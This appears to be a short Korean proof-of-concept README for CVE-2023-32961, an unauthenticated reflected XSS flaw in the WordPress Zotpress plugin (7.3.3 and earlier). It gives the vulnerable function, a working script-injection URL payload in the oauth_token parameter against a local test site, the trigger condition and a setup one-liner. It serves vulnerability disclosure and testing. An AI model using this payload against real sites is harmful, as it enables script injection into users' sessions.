
CVE-2023-32961의 PoC
이 저장소는 Wordpress Zotpress 플러그인의 XSS 취약점에 관한 것입니다.
Zotpress
≤ 7.3.3
zotpress
https://wordpress.org/plugins/zotpress/
인증되지 않음
zotpress/lib/admin/admin.accounts.oauth.php의 get_request_token 함수는 XSS 공격에 취약합니다.
get_request_token 함수가 실행되기 위한 조건이 충족되어야 합니다. (처음 한 번만)
다음과 같은 페이로드를 전송합니다: http://localhost:8080/wp-content/plugins/zotpress/lib/admin/admin.accounts.oauth.php?return_uri=http://localhost:8080&oauth_token=1http://localhost:8080/wp-content/plugins/zotpress/lib/admin/admin.accounts.oauth.php?return_uri=http://localhost:8080&oauth_token="><script>alert(1)</script>zotero.org 계정이 필요합니다.
이를 트리거하려면 oauthState 값을 1로 설정해야 합니다. 위 페이로드가 작동하지 않으면 oauthState를 1로 설정할 방법을 찾아야 합니다.
조건식 :
$_GET['oauth_token'] != $state['request_token_info']['oauth_token']
php oauth 확장 설치가 용이함:
한 줄 명령어 :
sudo su; apt-get update; apt-get -y install gcc make autoconf libc-dev pkg-config libpcre3-dev; pecl install oauth; bash -c "echo extension=oauth.so > $PHP_INI_DIR/conf.d/oauth.ini"; service apache2 restart
wordpress:latest Docker 이미지에서 테스트되었습니다.
https://www.youtube.com/watch?v=5kZ7bNbs_-Q